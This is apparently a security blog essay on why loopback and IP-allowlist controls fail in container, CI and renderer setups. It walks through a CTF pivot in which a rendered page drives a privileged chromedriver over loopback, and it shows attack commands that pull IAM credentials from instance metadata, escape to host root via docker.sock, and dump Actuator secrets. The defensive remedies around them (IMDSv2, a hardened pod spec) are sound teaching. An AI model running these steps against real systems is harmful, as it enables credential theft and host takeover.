01The control that is true and useless
There is a security control that passes every review and stops nothing: restricting access to a privileged service by where the request appears to come from. Bind it to loopback. Allowlist an IP. Require the source to be inside the VPC. Tick the box.
It holds exactly as long as the attacker cannot run code in the trusted location. In an architecture built from containers, sidecars, build runners and headless browsers, the attacker runs code in the trusted location constantly. That is what those components are for.
WE ONLY ACCEPT REQUESTS FROM 127.0.0.1
THE ATTACKER'S CODE IS RUNNING ON 127.0.0.1
What follows is the cleanest worked example I have run into, then the four production shapes it maps onto.
02The worked example
This comes from a challenge called DeckForge in the BlackHat MEA 2026 qualifiers. The service takes attacker-supplied HTML and renders it to a preview image, which is a completely normal thing for a slide builder to do. Three configuration decisions compose into a full compromise.
Decision one: the renderer can read the disk
Chromium is launched with --allow-file-access-from-files. That flag lets a page loaded from a file:// origin read other local files. Attacker HTML, rendered from disk, now has an arbitrary local file read:
On its own this is already bad and already not enough, because the thing worth reading had a randomised filename. A read primitive with no path is a party trick.
Decision two: the renderer has no same-origin policy
--disable-web-security removes SOP. The page can now issue cross-origin requests and read the responses, which is the half people forget. Without it you have blind SSRF from a browser; with it you have a full HTTP client that happens to live inside the victim's network namespace.
Decision three: something privileged is listening on loopback
A second chromedriver runs as a more privileged user, with:
chromedriver --allowed-origins='*' --allowed-ips=127.0.0.1 --port=9515Stare at the second flag. --allowed-ips=127.0.0.1 is a real control, correctly implemented, doing precisely what it says. And it is worth nothing, because the attacker's JavaScript is already executing on 127.0.0.1. The allowlist is checking a property the attacker was handed for free by the architecture.
So the renderer drives the privileged driver. WebDriver's wire protocol is plain JSON over HTTP:
// running inside the attacker's rendered page, origin file://
const drv = 'http://127.0.0.1:9515';
// 1. open a session on the PRIVILEGED driver
const s = await (await fetch(drv + '/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({capabilities: {alwaysMatch: {browserName: 'chrome'}}})
})).json();
const sid = s.value.sessionId;
// 2. that browser runs as the privileged user, so its file:// reads
// land in a different, more interesting filesystem view
await fetch(`${drv}/session/${sid}/url`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({url: 'file:///app/'})
});
// 3. read the rendered directory listing back out
const src = await (await fetch(`${drv}/session/${sid}/source`)).json();The pivot is the whole exploit. The file read in the unprivileged renderer could not find the target; the privileged browser could, because it runs as a user who can see it. The IP allowlist never stood a chance, because it was never guarding a boundary. It was guarding a location, and the attacker had been invited into that location by design.
The full challenge writeup, including the directory-listing pivot, is here.
03Shape one: cloud instance metadata
The canonical production version. 169.254.169.254 hands out IAM credentials to anything that can reach it, on the theory that only the instance can reach it. Then the instance runs an app with an SSRF bug, and "only the instance" starts including anybody on the internet who can make that app fetch a URL.
# IMDSv1: reachable means authorised
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# -> role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# -> AccessKeyId, SecretAccessKey, Token IMDSv2 is the correct fix and it is worth understanding why it works, because the pattern generalises. It does not add an allowlist. It requires the caller to prove something an SSRF cannot easily do:
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
-H "X-aws-ec2-metadata-token: $TOKEN"Three properties do the work: it is a PUT, so simple request-forgery primitives that only issue GET cannot start the exchange; it requires a custom header, which most SSRF sinks cannot set; and the response hop limit defaults to 1, so the token does not survive a proxy. Possession of a token replaced position on a network.
Enforce it rather than offering it. On AWS, HttpTokens=required:
aws ec2 modify-instance-metadata-options \
--instance-id i-0123456789abcdef0 \
--http-tokens required --http-put-response-hop-limit 104Shape two: CI runners
A build runner is a machine whose entire purpose is executing untrusted code. On a public repository, "untrusted" means anyone who can open a pull request.
So everything the runner can reach without credentials is reachable by a stranger. Internal package registries that trust the build network. Deployment APIs allowlisted to the runner subnet. A Docker socket mounted for convenience, which is root on the host:
# an invitation, not a convenience
services:
ci:
volumes:
- /var/run/docker.sock:/var/run/docker.sock# what that mount is worth to anyone who can run a build step
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host shThe specific trap on GitHub Actions is pull_request_target, which runs with repository secrets available and in the context of the base repository. Combine it with a checkout of the PR head and attacker code executes with your secrets in scope. If you need that trigger, do not check out untrusted code in the same job.
05Shape three: sidecars and localhost admin ports
In a Kubernetes pod, containers share a network namespace. "Bound to 127.0.0.1" means bound to every container in that pod, including the logging sidecar, the service-mesh proxy, and anything that gets compromised.
Spring Boot Actuator is the usual casualty. Not exposed to the cluster, perfectly exposed to the sidecar:
# from any other container in the same pod
curl -s http://127.0.0.1:8081/actuator/env | jq '.propertySources[].properties'
curl -s http://127.0.0.1:8081/actuator/heapdump -o heap.bin # credentials in memoryThe same applies to debug servers, pprof endpoints, Redis without a password, and every "it's only on localhost" decision in a containerised deployment. The blast radius of a loopback bind is the pod, not the process.
06Shape four: anything that renders attacker content
PDF generators, screenshot services, link unfurlers, preview thumbnailers, Office-document converters. Each one is a user agent you operate, pointed at content somebody else controls, running inside your trust boundary. Treat it as an unauthenticated user sitting in your network, because that is exactly what it is.
The minimum viable containment:
- No egress. Default-deny on the renderer's network policy, with an explicit allowlist if it genuinely needs to fetch remote images.
- No loopback neighbours. Do not co-locate it with anything privileged. In Kubernetes that means its own pod, not a sidecar.
- Never
--disable-web-securityor--allow-file-access-from-fileson a process that touches attacker input. If a feature needs them, that feature needs a different design. - A filesystem with nothing worth reading. Read-only root, dedicated unprivileged user, no mounted secrets, no service-account token.
# the shape that survives a renderer compromise
spec:
automountServiceAccountToken: false
securityContext: { runAsNonRoot: true, runAsUser: 10001 }
containers:
- name: renderer
securityContext:
readOnlyRootFilesystem: true
allowPrivilegeEscalation: false
capabilities: { drop: ["ALL"] }07The fix, stated once
Every instance of this bug is repaired by the same move: replace "where did this come from" with "what can you prove".
- Authenticate the caller, not the interface. A loopback admin port still needs a credential. "Only local processes can reach it" is a claim about your network, not about your attacker.
- Prefer proof of possession. Tokens, mTLS, signed requests, hop limits. All of them survive the attacker standing in the right place. An IP check does not.
- Make the trusted zone small enough to name. If you cannot list every process that can reach a service, the allowlist in front of it is decorative.
- Assume every renderer, runner and sidecar is hostile, because each one executes input you do not control.
Network position was a reasonable proxy for identity when one machine ran one thing and the perimeter meant something. It has been a bad proxy for a decade, and every container you add makes it worse. The allowlist is not wrong. It is answering a question nobody is asking.